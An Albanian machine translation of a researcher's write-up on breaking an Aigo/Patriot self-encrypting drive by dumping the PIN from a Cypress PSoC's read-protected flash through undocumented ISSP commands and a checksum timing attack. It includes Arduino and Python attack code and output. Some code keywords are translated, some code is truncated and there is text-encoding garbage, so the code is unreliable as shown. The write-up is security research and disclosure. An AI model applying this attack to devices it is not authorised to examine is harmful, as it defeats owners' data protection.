Ky është pjesa e dytë dhe përfundimtare e artikullit mbi thyerjen e disqeve të jashtëm që enkriptohen vetë. Ju rikujtoj se së fundmi, një koleg më solli një disk të fortë Patriot (Aigo) SK8671, dhe vendosa ta rrokullis, tani po ndaj me ju se çfarë rezultati arrita. Para se të vazhdoni, sigurohuni që të lexoni artikuj.

4. Fillojmë të heqim dump-in nga flash-i i brendshëm PSoC
Pra, gjithçka tregon se (siç e vendosëm në [pjesën e parë]()), PIN-i ruhet në thellësitë e flash-it të PSoC. Prandaj, ne duhet të lexojmë këto thellësi të flash-it. Fronti i punëve të nevojshme:
- të marrim kontrollin e "komunikimit" me mikroprocesorin;
- të gjejmë një mënyrë për të verifikuar nëse ky "komunikim" është i mbrojtur nga leximi nga jashtë;
- të gjejmë një mënyrë për të anashkaluar mbrojtjen.
Ka dy vende ku ka kuptim të kërkosh PIN-in aktiv:
- memoria e brendshme;
- SRAM, ku PIN-i mund të ruhet për ta krahasuar me PIN-in që fut përdoruesi.
Duke u shpejguar, vĂ«rej se munda gjithsesi tĂ« heq dump-in nga flash-i i brendshĂ«m PSoC, â duke anashkaluar sistemin e saj tĂ« mbrojtjes me njĂ« sulm harduerik "gjurmimi me rinegji tĂ« ftohtĂ«" â pas rrokullisjes sĂ« mundĂ«sive tĂ« padokumentuara tĂ« protokollit ISSP. Kjo mĂ« lejoi tĂ« heq dump-in e PIN-it aktiv direkt.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Kodi përfundimtar i programit:
- ;
- .
5. Protokolli ISSP
5.1. ĂfarĂ« Ă«shtĂ« ISSP
"Komunikimi" me mikroprocesorin mund të nënkuptojë gjëra të ndryshme: nga "prodhuesi te prodhuesi", deri në ndërveprimin me përdorimin e një protokolli serial (p.sh., ICSP për PIC të Microchip-it).
Për Cypress, ata kanë një protokoll të tyre të pronarit, të quajtur ISSP (in-system serial programming protocol; protokolli i programimit serial në sistem), i cili është pjesërisht i përshkruar në . po ashtu ofron disa informacion. Ka gjithashtu një alternativë OpenSource, e quajtur HSSP (ne do ta përdorim më vonë). ISSP funksionon në këtë mënyrë:
- rinstaloni PSoC;
- nxehni numrin magjik në këmbën e të dhënave të kësaj PSoC; për të hyrë në modin e programimit të jashtëm;
- dërgoni urdhra, të cilat përbëjnë stringje të gjata bitësh, të quajtur "vektorë".
Në dokumentacionin për ISSP këta vektorë janë të përcaktuar vetëm për një përzgjedhje të vogël urdhërash:
- Initialize-1
- Initialize-2
- Initialize-3 (opsionet 3V dhe 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, ku dddddddd=numri i bllokut
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, ku DDDDDDDD = të dhënat jashtë, aaaaaa = adresa (6 bit)
- WRITE-BYTE: 10010aaaaaadddddddd111, ku dddddddd = të dhënat brenda, aaaaaa = adresa (6 bit)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, ku DDDDDDDDDDDDDDDD = të dhënat jashtë: kontrola e sumës së pajisjes
- ERASE BLOCK
Për shembull, vektori për Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Të gjithë vektorët kanë të njëjtën gjatësi: 22 bit. Në dokumentacionin për HSSP ka disa informacione shtesë mbi ISSP: "vektori ISSP nuk është gjë tjetër veçse një sekuencë bitësh që përfaqëson një grup udhëzimesh".
5.2. Demistifikimi i vektorëve
Le të shohim se çfarë ndodh këtu. Fillimisht, unë supozova se këta vektorë përbëjnë variantet raw të instruksioneve M8C, megjithatë, duke e verifikuar këtë hipotezë, zbulova se kodet operacionale nuk përputhen.
Pastaj e kĂ«rkova vektorin e mĂ«sipĂ«rm dhe pĂ«rfundova nĂ« studim, ku autori, megjithĂ«se nuk shkon nĂ« detaje, jep disa kĂ«shilla tĂ« vlefshme: "Ădo instruktion fillon me tri bit, tĂ« cilat iu pĂ«rkasin njĂ« prej katĂ«r mnemonikĂ«ve (lexo nga RAM, shkruaj nĂ« RAM, lexoni regjistrin, shkruaj regjistrin). Pastaj vjen njĂ« adresĂ« 8-bit, pas sĂ« cilĂ«s 8 bit tĂ« dhĂ«nash (tĂ« lexuara ose pĂ«r tĂ« shkruar) dhe pĂ«rfundimisht tre bit stopi."
MĂ« pas, arrita tĂ« nxjerr informacione shumĂ« tĂ« dobishme nga seksioni "Supervisory ROM (SROM)" . SROM Ă«shtĂ« njĂ« ROM e koduar fortĂ«, nĂ« PSoC, e cila ofron funksione shĂ«rbimi (nĂ« njĂ« tĂ« ngjashme me Syscall), â pĂ«r kodin programor, i cili ekzekutohet nĂ« hapĂ«sirĂ«n e pĂ«rdoruesit:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Duke krahasuar emrat e vektorëve me funksionet SROM, mund të lidhim operacione të ndryshme të mbështetura nga ky protokoll me parametrat e pritura SROM. Falë kësaj, mund të dekodojmë tre bitët e parë të vektorëve ISSP:
- 100 => âwrmemâ
- 101 => ârdmemâ
- 110 => âwrregâ
- 111 => ârdregâ
Megjithatë, një kuptim i plotë i proceseve brenda çipit mund të arrihet vetëm nëpërmjet komunikimit të drejtpërdrejtë me PSoC.
5.3. Komunikimi me PSoC
Për shkak se Dirk Petrautsky ka qenë tashmë Kodi HSSP i Cypress në Arduino, përdora Arduino Uno për t'u lidhur me prizën ISSP të tastierës.
Kujdes, gjatë hulumtimeve të mia, kam ndryshuar ndjeshëm kodin e Dirkut. Modifikimin tim mund ta gjeni në GitHub: dhe skenarin përkatës në Python për komunikim me Arduino, në depozitat e mia .
Pra, duke përdorur Arduino, fillimisht përdora vetëm vektorë 'zyrtarë' për 'komunikim'. Pata një përpjekje për të lexuar ROM-in e brendshëm, duke përdorur komandën VERIFY. Siç pritej, nuk pata sukses. Mbase për shkak se brenda fleshit ishin aktivizuar bllokimet e mbrojtjes nga leximi.
Pastaj krijova disa vektorë të thjeshtë për të shkruar dhe lexuar memorie/regjistra. Vini re se mund të lexojmë tërë SROM-in, edhe pse fleshi është i mbrojtur!
5.4. Identifikimi i regjistrave brenda çipit
Duke parë vektorët e 'disasembluar', zbulova se pajisja përdor regjistra të pa dokumentuar (0xF8-0xFA), për të treguar opcode të M8C, të cilët ekzekutohen drejtpërdrejt, duke anashkaluar mbrojtjen. Kjo më lejon të ekzekutoj opcode të ndryshme, si 'ADD', 'MOV A, X', 'PUSH' ose 'JMP'. Falë tyre (duke parë efektet anësore që kanë mbi regjistrat) arrita të përcaktoj se cilët nga regjistrat e pa dokumentuar janë në fakt regjistra të zakonshëm (A, X, SP dhe PC).
Si rezultat, kodi 'disasembluar' i gjeneruar nga mjeti HSSP_disas.rb, duket kështu (për qartësi kam shtuar komente):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # reset flags
[DE C0 1C] wrreg SP (f6), 0x00 # reset SP
[9F 07 5C] wrmem KEY1, 0x3A # mandatory argument for SSC
[9F 20 7C] wrmem KEY2, 0x03 # similarly
[DE A0 1C] wrreg PCh (f5), 0x00 # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... until 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06 # number "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Undocumented operation: execute external opcode
5.5. Bllokimet e mbrojtjes
Në këtë fazë unë mund të komunikoja me PSoC, por ende nuk kam informacione të sakta për bllokimet e mbrojtjes së flash-it. Ishte shumë befasuese për mua që Cypress nuk i ofron përdoruesit asnjë mjet për të verifikuar nëse mbrojtja është aktivizuar. Kam kërkuar në Google për të kuptuar se kodi HSSP, i ofruar nga Cypress-i, u përditësua pas lëshimit të modifikimit nga Dirk. Dhe ja! U shfaq një vektor i ri:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # argumente të panjohura
[9F E0 1C] wrmem 0xFF, 0x00 # po ashtu
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # syscall i pakëputur!
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Duke përdorur këtë vektor (shih read_security_data në psoc.py), ne marrim të gjitha bllokimet e mbrojtjes në SRAM në 0x80, ku për secilin bllok të mbrojtur ka dy bllokime.
Rezultati Ă«shtĂ« dĂ«shpĂ«rues: gjithçka Ă«shtĂ« e mbrojtur nĂ« mode "ndaloni leximin dhe shkrimin e jashtĂ«m". Prandaj ne nuk mund tĂ« lexojmĂ« asgjĂ« nga flash-i, as tĂ« shkruajmĂ« (pĂ«r shembull, pĂ«r tĂ« nxjerrĂ« njĂ« ROM-damper). Dhe mĂ«nyra e vetme pĂ«r tĂ« çaktivizuar mbrojtjen Ă«shtĂ« tĂ« fshihni plotĂ«sisht tĂ« gjithĂ« çipin. đ
6. Sulmi i parë (i pasuksesshëm): ROMX
Megjithatë, mund të provojmë të bëjmë këtë trik: pasi kemi mundësinë të ekzekutojmë opkoda të rastit, pse të mos ekzekutojmë ROMX, e cila përdoret për të lexuar kujtesën flash? Ky qasje ka disa shanse për sukses. Sepse funksioni ReadBlock, i cili lexon të dhënat nga SROM (i cili përdoret nga vektorët), kontrollon nëse po thirret nga ISSP. Megjithatë, opkodi ROMX, ndoshta, nuk ka një kontroll të tillë. Kështu, ja kodi Python (pas shtimit të disa klasave ndihmëse në kodin Arduino C):
për i në gamën (0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX lexon ROM[A|X] në A
print "x" % ord(byte[0]) # printo ROM byteFatkeqĂ«sisht, ky kod nuk funksionon. đ NĂ« tĂ« vĂ«rtetĂ« funksionon, por nĂ« dalje marrim opkodet tona tĂ« veta (0x28 0x30 0x40)! Nuk mendoj se funksionaliteti pĂ«rkatĂ«s i pajisjes Ă«shtĂ« njĂ« element mbrojtjeje nga leximi. Ky duket mĂ« shumĂ« si njĂ« trik inxhinierik: gjatĂ« ekzekutimit tĂ« opkodeve ekstere, autobusi i ROM-it ridrejtiohet nĂ« njĂ« mĂ«kĂ«mbĂ«s tĂ« pĂ«rkohshĂ«m.
7. Sulmi i dytë: gjurmimi me rinegji të ftohtë
Pasi triku me ROMX nuk funksionoi, fillova tĂ« mendoj njĂ« variacion tjetĂ«r tĂ« kĂ«tij triku â tĂ« pĂ«rshkruar nĂ« publikimin .
7.1. Implementimi
Në dokumentacionin e ISSP është dhënë vektori i mëposhtëm për CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Këtu në thelb bëhet thirrje në funksionin SROM 0x07, siç është paraqitur në dokumentacion (theksimi im):
Ky funksion kontrollon checksum-in. Ai llogarit njĂ« checksum 16-bit tĂ« numrit tĂ« blloqeve tĂ« pĂ«rcaktuara nga pĂ«rdoruesi â nĂ« njĂ« bankĂ« flash, duke filluar nga zero. Parametri BLOCKID pĂ«rdoret pĂ«r tĂ« kaluar numrin e blloqeve qĂ« do tĂ« pĂ«rdoren pĂ«r llogaritjen e checksum-it. Vlera «1» do tĂ« llogarisĂ« checksum-in vetĂ«m pĂ«r bllokun zero; ndĂ«rsa «0» do tĂ« çojĂ« nĂ« llogaritjen e checksum-it tĂ« pĂ«rgjithshĂ«m tĂ« tĂ« gjithĂ« 256 blloqeve tĂ« bankĂ«s flash. Ăsum-i 16-bit kthehet pĂ«rmes KEY1 dhe KEY2. NĂ« parametrin KEY1 regjistrohen 8 bitĂ«t mĂ« tĂ« vegjĂ«l tĂ« checksum-it, ndĂ«rsa nĂ« KEY2 â 8 bitĂ«t mĂ« tĂ« mĂ«dhenj. PĂ«r pajisjet me disa blloqe flash, funksioni i checksum-it thirret pĂ«r secilin veçmas. Numri i bllokut me tĂ« cilin do tĂ« punojĂ« caktohet nĂ« regjistrin FLS_PR1 (me vendosjen e bitit pĂ«rkatĂ«s pĂ«r bllokun e synuar).
Vini re se kjo është një checksum e thjeshtë: bajtët thjesht mblidhen njëri pas tjetrit; nuk ka trukesh të ndërlikuara CRC. Për më tepër, duke e ditur që në bërthamën M8C grupi i regjistrave është shumë i vogël, unë supozova se gjatë llogaritjes së checksum-it, vlerat ndërmjetëse do të regjistrohen në të njëjtat variabla të cilat në fund do të dalin: KEY1 (0xF8) / KEY2 (0xF9).
Pra, teorikisht sulmi im duket si më poshtë:
- Lidhemi përmes ISSP.
- Nisim llogaritjen e checksum-it, duke përdorur vektorin CHECKSUM-SETUP.
- Rivendosim procesorin pas një kohe të caktuar T.
- Lexojmë RAM-in për të marrë checksum-in aktual C.
- Përsërisim hapat 3 dhe 4, çdo herë paksa duke rritur T.
- Rikuperojmë të dhënat nga flashi, duke zbritur checksum-in e mëparshëm C nga ai aktual.
Megjithatë, ndodhi një problem: vektori Initialize-1, që ne duhet të dërgojmë pas rivendosjes, ri-shkruan KEY1 dhe KEY2:
1100101000000000000000 # Magjia që e kalon PSoC në modin e programimit
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # checksum-i ri-shkruhet këtu
[9F 20 7C] wrmem KEY2, 0x03 # dhe këtu
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # Funksioni SROM 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Ky kod mbulon checksum-in tonë të çmuar, duke thirrur Calibrate1 (funksioni SROM 9)⊠Ndoshta do të arrijmë, thjesht duke dërguar numrin magjik (nga fillimi i kodit të mësipërm), të hyjmë në modin e programimit, dhe pastaj të lexojmë SRAM-in? Dhe po, funksionon! Kodi Arduino që realizon këtë sulm është mjaft i thjeshtë:
rast Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
përndryshe {
ms_delay = 0;
}
send_checksum_v();
nëse(checksum_delay)
delayMicroseconds(checksum_delay);
vono(ms_delay);
start_pmode();- Lexo checkum_delay.
- Nis llogaritjen e checksum-it (send_checksum_v).
- Të presësh një periudhë të caktuar kohore; duke marrë parasysh pengesat e mëposhtme:
- kam humbur shumĂ« kohĂ« derisa tĂ« kuptoja se nĂ« fakt funksionon saktĂ« vetĂ«m me vonesa qĂ« nuk e kalojnĂ« 16383ÎŒs;
- dhe pastaj përsëri humba po aq kohë derisa të zbulova se delayMicroseconds, nëse i jep 0 si hyrje, punon krejtësisht gabim!
- Rifilloni PSoC në modin e programimit (thjesht dërgojmë numrin magjik, pa dërguar vektorët e inicializimit).
Kodi përfundimtar në Python:
për delay në gamën (0, 150000): # vonesë në mikrosekonda
për i në gamën (0, 10): # numri i leximet për çdo vonesë
provoni:
reset_psoc(quiet=True) # ri-bërë dhe hy në modin e programimit
send_vectors(); # dërgo vectoret inicizuese
ser.write("x85"+struct.pack(">I", delay)) # llogarit kontrollin e shumës + ri-bërë pas vonesës
res = ser.read(1); # lexo arduino ACK
përjashtim si e:
print e;
ser.close();
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null");
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5); # hap portin serial
vazhdo;
print "d X X X" % (delay, # lexo RAM-bytes
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9));Me dy fjalë, çfarë bën ky kod:
- Rifillon PSoC (dhe i dërgon një numër magjik).
- Dërgon vektorët e plote të inicializimit.
- Thërret funksionin Arduino Cmnd_STK_START_CSUM (0x85), ku si parametër dërgohet vonesa në mikrosekunta.
- Lexon kontrollin (0xF8 dhe 0xF9) dhe regjistrin e pa dokumentuar 0xF1.
Ky kod ekzekutohet 10 herë në 1 mikroshekond. 0xF1 është përfshirë këtu, pasi ishte regjistri i vetëm që ndryshonte gjatë llogaritjes së kontrollit. Mund të jetë ndonjë variabël e përkohshme e përdorur nga njësia aritmetiko-logjike. Vini re haku të çuditshëm që unë rifilloj Arduino-n duke përdorur picocom, kur Arduino nuk jep më shenja jete (nuk kam idenë pse).
7.2. Lexoni rezultatin
Rezultati i punës së skriptit Python duket kështu (i thjeshtuar për lehtësinë e lexueshmërisë):
DELAY F1 F8 F9 # F1 â regjistri i panjohur i pĂ«rmendur mĂ« sipĂ«r
# F8 bajti më i vogël i kontrolle
# F9 bajti më i madh i kontrolle
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # kontrolli i shumës reset në 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # bajti i parë: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # bajti i dytë: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # nuk kam idenë se çfarë po ndodh këtu
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Përsëri E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ah, e kuptova! Ky është kalimi në bajtin e madh
00063 01 17 01
[...]
00075 CC 17 01 # KĂ«shtu qĂ«, 0x117-0xE7: 0x30Kemi njĂ« problem: sepse ne po operojmĂ« me shumĂ«n e kontrollit faktike, bajti zero nuk ndryshon vlerĂ«n e lexuar. MegjithatĂ«, duke qenĂ« se e gjithĂ« procedura e llogaritjes (8192 bajta) zgjat 0,1478 sekonda (me variacione tĂ« vogla nĂ« çdo ekzekutim), e cila Ă«shtĂ« rreth 18,04 mikroshekonda pĂ«r bajt, â ne mund tĂ« pĂ«rdorim kĂ«tĂ« kohĂ« pĂ«r tĂ« kontrolluar vlerĂ«n e shumĂ«s sĂ« kontrollit nĂ« momentet e duhura. NĂ« fillim tĂ« ekzekutimeve, gjithçka lexon mjaft lehtĂ«, sepse koha e realizimit tĂ« procedurĂ«s Ă«shtĂ« pothuajse gjithmonĂ« e njĂ«jtĂ«. MegjithatĂ«, fundi i kĂ«tij dump Ă«shtĂ« mĂ« pak i saktĂ«, sepse "shkallĂ«zime tĂ« parĂ«ndĂ«sishme nĂ« kohĂ«" nĂ« çdo ekzekutim â grumbullohen dhe bĂ«hen tĂ« rĂ«ndĂ«sishme:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDKëto janë 10 dump-a për çdo vonesë mikroshekondash. Koha totale për të marrë dump-in e të gjithë 8192 bajtave të flash-it është rreth 48 orë.
7.3. Rindërtimi i binarit të flash-it
Unë akoma nuk e kam përfunduar kodin që rindërton plotësisht kodin programues të flash-it, duke marrë parasysh të gjitha devijimet në kohë. Megjithatë, fillimi i këtij kodi e kam rifilluar. Për të siguruar se e kam bërë këtë saktë, unë e kam disasembly-uar atë, duke përdorur m8cdis:
0000: 80 67 jmp 0068h ; Vektori i rivit
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; ReĆŸimi i faqeve u ndryshim nga 3 nĂ« 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retDuket mjaft e besueshme!
7.4. Gjej adresën e ruajtjes së PIN-it
Tani, kur mund të lexojmë kontrollin e shumës në momentet e nevojshme, mund të kontrollojmë se si dhe ku ndryshon, kur ne:
- shkruajmë një PIN të gabuar;
- ndryshojmë PIN-in.
Fillimisht, për të gjetur adresën e afërt, kam nxjerrë një dump të kontrollit të shumës me një hapje prej 10 ms, pas rinisjes. Pastaj kam futur një PIN të gabuar dhe kam bërë të njëjtën gjë.
Rezultati doli jo shumĂ« i kĂ«ndshĂ«m, pasi kishte shumĂ« ndryshime. Por nĂ« fund arrita tĂ« kuptoj se kontrolli i shumĂ«s ishte ndryshuar diku nĂ« mes 120000 ÎŒs dhe 140000 ÎŒs vonesĂ«. Por "PIN-i", qĂ« aty e kam zbuluar, ishte krejtĂ«sisht i gabuar â pĂ«r shkak tĂ« artefaktit tĂ« procedurĂ«s delayMicroseconds, e cila bĂ«n gjĂ«ra tĂ« paqarta kur i jepet 0.
Pastaj, pas gati 3 orësh, më erdhi në mendje se thirrja sistemore e SROM-it CheckSum merr si argument numrin e blloqeve për kontrollin e shumës! Pra, mund të lokalizojmë lehtësisht adresën e ruajtjes së PIN-it dhe numëruesit të "përpjekjeve të gabuara", me saktësi deri në bllokun 64-bis.
Provat e mia të para dhanë këtë rezultat:

Pastaj e ndryshova PIN-in nga "123456" në "1234567" dhe mora:

Prandaj, PIN-i dhe numëruesi i përpjekjeve të gabuara, duket se ruhen në bllokun e numrit 126.
7.5. Nxjerrja e dump-it të bllokut nr. 126
Blloku nr. 126 duhet tĂ« ndodhet diku rreth 125x64x18 = 144000ÎŒs, nga fillimi i llogaritjes sĂ« kontrollit tĂ« shumĂ«s, nĂ« dump-in tim tĂ« plotĂ«, dhe duket mjaft besueshĂ«m. Pastaj, pas filtrimit manual tĂ« shumicĂ«s sĂ« dump-eve tĂ« gabuara (pĂ«r shkak tĂ« grumbullimit tĂ« "shkallave tĂ« papĂ«rfillshme tĂ« vonesĂ«s"), pĂ«rfundimisht kam marrĂ« kĂ«to bajta (me njĂ« vonesĂ« prej 145527ÎŒs):

E është krejtësisht e qartë se pin kodi ruhet në formë të palehtësuar! Këto vlera sigurisht nuk janë regjistruar në kodet ASCII, por siç duket - pasqyrojnë leximet e marra nga tastiera me kapacitet.
Në fund, unë kam kryer disa teste shtesë për të gjetur se ku ruhen numrat e përpjekjeve të gabuara. Këtu është rezultati:

0xFF â do tĂ« thotĂ« "15 pĂ«rpjekje", dhe zvogĂ«lohet me çdo pĂ«rpjekje tĂ« gabuar.
7.6. Rindërtimi i pin kodit
Ja kodi im i shëmtuar që mbledh së bashku gjithçka të thënë më lart:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"};
last_csum = 0;
pin_bytes = [];
për delay në gamën (145495, 145719, 16):
csum = csum_at(delay, 1);
byte = (csum-last_csum)&0xFF;
print "d x (x) => x" % (delay, csum, last_csum, byte);
pin_bytes.append(byte);
last_csum = csum;
print "PIN: ",
për i në gamën (0, len(pin_bytes)):
nëse pin_bytes[i] në pin_map:
print pin_map[pin_bytes[i]],
printJa rezultati i ekzekutimit të tij:
$ .\/psoc.py
syncing: KO OK
Rivendosja e PSoC: KO Rivendosja e PSoC: KO Rivendosja e PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hurrah! Funksionon!
Vini re se vlerat e vonesës që kam përdorur, ndoshta janë të sakta për një PSoC të veçantë - atë që kam përdorur unë.
8. ĂfarĂ« ndodh mĂ« pas?
Pra, le të përmbledhim nga ana e PSoC, në kontekstin e memorie tonë Aigo:
- mund të lexojmë SRAM, edhe nëse është e mbrojtur nga leximi;
- mund të kapërcejmë mbrojtjen nga leximi, përmes sulmit "trajtim me rikthim të ftohtë", dhe leximit të drejtpërdrejtë të pin kodit.
Megjithatë, sulmi ynë ka disa probleme - për shkak të çështjeve të sinkronizimit. Mund të përmirësohej si më poshtë:
- të shkruajmë një mjet për dekodimin e saktë të të dhënave të dala, të marra si rezultat i sulmit "trajtim me rikthim të ftohtë";
- të përdorim një FPGA për të krijuar vonesa më të sakta (ose të përdorim timer-e harduerike Arduino);
- provo një sulm tjetër: të futësh një PIN të pasaktë, të rikthesh pajisjen dhe të nxjerrësh RAM-in, duke shpresuar që PIN-i i saktë të jetë ruajtur në RAM për krahasim. Megjithatë, në Arduino nuk është kaq e lehtë, pasi niveli i sinjalit të Arduino-s është 5 volt, ndërsa pllaka që po shqyrtojmë funksionon me sinjale 3.3 volt.
NjĂ« gjĂ« interesante qĂ« mund tĂ« provojnĂ« â tĂ« luajnĂ« me nivelin e tensionit pĂ«r tĂ« pĂ«rshkuar mbrojtjen e leximit. NĂ«se njĂ« qasje e tillĂ« do tĂ« funksiononte, do tĂ« ishim nĂ« gjendje tĂ« merrnim tĂ« dhĂ«na shumĂ« tĂ« sakta nga flash, â nĂ« vend qĂ« tĂ« mbĂ«shteteshim tek leximi i checksum me vonesa tĂ« pasakta.
Duke marrĂ« parasysh se SROM, ndoshta lexon bitet mbrojtĂ«se pĂ«rmes thirrjes nĂ« sistem ReadBlock, mund tĂ« bĂ«jmĂ« tĂ« njĂ«jtĂ«n gjĂ« si nĂ« blogun e Dmitri Nedaspasov â ripĂ«rsĂ«ritja e sulmit tĂ« Chris Gerlinsky, qĂ« u shpall nĂ« konferencĂ«n .
NjĂ« gjĂ« tjetĂ«r e çuditshme qĂ« mund tĂ« bĂ«jmĂ« â tĂ« gĂ«rryejmĂ« kabinĂ«n e çipit: pĂ«r tĂ« marrĂ« njĂ« dump tĂ« SRAM-it, pĂ«r tĂ« identifikuar thirrjet e sistemit tĂ« pazakontĂ« dhe dobĂ«sitĂ«.
9. Përfundimi
Pra, mbrojtja e këtij disku lë për të dëshiruar, sepse ai përdor një mikrocontroller të zakonshëm (jo "i fortifikuar") për ruajtjen e PIN-it... Përveç kësaj, nuk kam parë (ende) se si qëndron situata me enkriptimin e të dhënave në këtë pajisje!
ĂfarĂ« mund tĂ« rekomandoj pĂ«r Aigo? Pas analizimit tĂ« disa modeleve tĂ« disqeve tĂ« fortĂ« tĂ« enkriptuar, nĂ« vitin 2015 kam bĂ«rĂ« nĂ« SyScan, ku shqyrtova problemet e sigurisĂ« sĂ« disa HDD-ve tĂ« jashtme dhe dhashĂ« rekomandime pĂ«r pĂ«rmirĂ«sim. đ
